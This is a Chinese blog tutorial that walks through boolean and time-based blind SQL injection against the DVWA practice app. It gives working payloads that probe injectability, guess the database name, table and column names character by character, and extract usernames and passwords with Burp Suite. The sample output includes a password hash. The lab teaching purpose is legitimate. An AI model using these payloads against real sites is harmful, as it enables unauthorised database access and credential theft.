boolean布尔型盲注
2024-10-21 19:06:50
mysql中limit的详细用法
1、用于强制返回指定的记录行数
在查询中,经常要返回前几条或者中间某几行数据时,用到limit
语法如下
select * from table_name limit [offset,] rows
参数说明:
offset:指定第一个返回记录行的偏移量(即从哪一行开始返回),注意:初始行的偏移量为0。
rows:返回具体行数
总结:如果limit后面是一个参数,就是检索前多少行。如果limit后面是2个参数,就是从offset+1行开始,检索rows行记录。
哪种情况适合boolean布尔型注入攻击
页面中不会显示数据库信息,一般情况下只会显示对与错的内容。
1)代码层分析
接收 id 的值,直接带入查询,如果存在即返回 users is exists in the database
否则显示 users id is missing 像这种只有正确与错误页面。页面不会显示数据库
里任何内容,如果存在注入,成为盲注入。
判断盲注入的方法
方法1:布尔型盲注入
输入 SQL 注入检测语句 判断页面是否不一样,如果不一样大概会存在 SQL 注
入漏洞 1'and '1'='1 一样 1'and '1'='2 不一样 方法2:延时注入
如果输入检测语句页面没有任何改
变可以使用延时语句进行检测 1'and sleep(10)--+ 函数 sleep() 在 mysql 是延时
返回的意思 以秒为单位 sleep(10) 即延时 10 秒执行
判断数据库库名长度
要查询当前数据库库名,首先确定要查询的数据库的长度。
1' and if(length(database())=4,1,0)--+
length(database())=4,验证通过
length(database())=4,验证结果“MISSING”
结论:数据库名长度为4
1)数据库名
mysql> select database();
+------------+
| database() |
+------------+
| dvwa |
+------------+
1 row in set (0.00 sec) mysql> 2)数据库的字段名第一个字母
mysql> select substring((select database()),1,1);
+------------------------------------+
| substring((select database()),1,1) |
+------------------------------------+
| d |
+------------------------------------+
1 row in set (0.00 sec) mysql> 3)猜测数据库第一个字母
mysql> select substring((select database()),1,1);
+------------------------------------+
| substring((select database()),1,1) |
+------------------------------------+
| d |
+------------------------------------+
1 row in set (0.00 sec) mysql>
结合burpsuite猜测数据库全称
url传参:1' and if(substring((select database()),1,1)='d',1,0) --+
http://192.168.1.6/01/vulnerabilities/sqli_blind/?id=1%27%20and%20if(substring((select%20database()),1,1)=%27d%27,1,0)%20--+&Submit=Submit#
1、burpsuite截取结果
2、设置burpsuite变量:
3、attack结果
由此登出数据库名为dvwa
substring截取数据库表字段,判断数据表名
原理
1)表名
mysql> select substring((select table_name from information_schema.tables where table_schema=database() limit 1),1);
+--------------------------------------------------------------------------------------------------------+
| substring((select table_name from information_schema.tables where table_schema=database() limit 1),1) |
+--------------------------------------------------------------------------------------------------------+
| guestbook
mysql>
2)表名中的字段
mysql> select substring((select table_name from information_schema.tables where table_schema=database() limit 1),1,1);
+----------------------------------------------------------------------------------------------------------+
| substring((select table_name from information_schema.tables where table_schema=database() limit 1),1,1) |
+----------------------------------------------------------------------------------------------------------+
| g |
+----------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
mysql>
3)sql组合
mysql> select * from users where user_id=1 and if(substring((select table_name from information_schema.tables where table_schema=database() limit 1),1,1)='g',1,0);
+---------+------------+-----------+-------+----------------------------------+------------------------------+---------------------+--------------+
| user_id | first_name | last_name | user | password | avatar | last_login | failed_login |
+---------+------------+-----------+-------+----------------------------------+------------------------------+---------------------+--------------+
| 1 | admin | admin | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | /01/hackable/users/admin.jpg | 2020-01-09 16:58:08 | 0 |
+---------+------------+-----------+-------+----------------------------------+------------------------------+---------------------+--------------+
1 row i
1)url拼接:if(substring((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1)='g',1,0)
2)开启代理,burpsuite拦截
3)设置变量,payload中数据库表名长度可默认最大设置为40
共爆出2张数据表
由此结论:共存在两张数据表:guestbook,users
爆出字段名
1)users表的字段
mysql> select column_name from information_schema.columns where table_name='users' and table_schema=database();
+--------------+
| column_name |
+--------------+
| user_id |
| first_name |
| last_name |
| user |
| password |
| avatar |
| last_login |
| failed_login |
+--------------+
8 rows in set (0.00 sec) mysql> 2)猜出首个字段名的第一个字母
mysql>
mysql> select if(substring((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)='u',1,0);
+-------------------------------------------------------------------------------------------------------------------------------------------------+
| if(substring((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)='u',1,0) |
+-------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 |
+-------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.02 sec) mysql>
url 拼接:1' and if(substring((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)='u',1,0) --+
burpsuit后登出字段内容:user ,password
url 拼接:1'and if(substring((select CONCAT(user,0x3a,PASSWORD) from users limit
1),1,1)='a',1,0)--+
burpsuite拦截信息,设置变量 ,爆破后登出 user与password
最新文章
- 修改加粗cmd和powershell命令行的中文字体
- 【Python】一、除法问题及基本操作(逻辑与,if替代switch)及支持中文打印
- json-smart 使用示例(推荐fastjson)
- HTML的内联元素换行问题
- JSON-SCHEMA
- lx:这么空!什么叫假大空 xy:那我做给你看
- 【转】linux之ln命令
- 移动端折腾国外分享(facebook、twitter、linkedin)
- The Socket API, Part 3: Concurrent Servers
- 【转】android 自定义控件
- oracle命中率模型计算
- Jest
- 深入理解jdk和jre(转)
- Tomcat+Eclipse乱码问题解决方法
- java第十三次作业
- Struts2学习笔记五 拦截器
- POJ 1704 Georgia and Bob(阶梯Nim博弈)
- Mongodb主从复制/ 副本集/分片集群介绍
- 【洛谷P3469】BLO
- 7-通用GPIO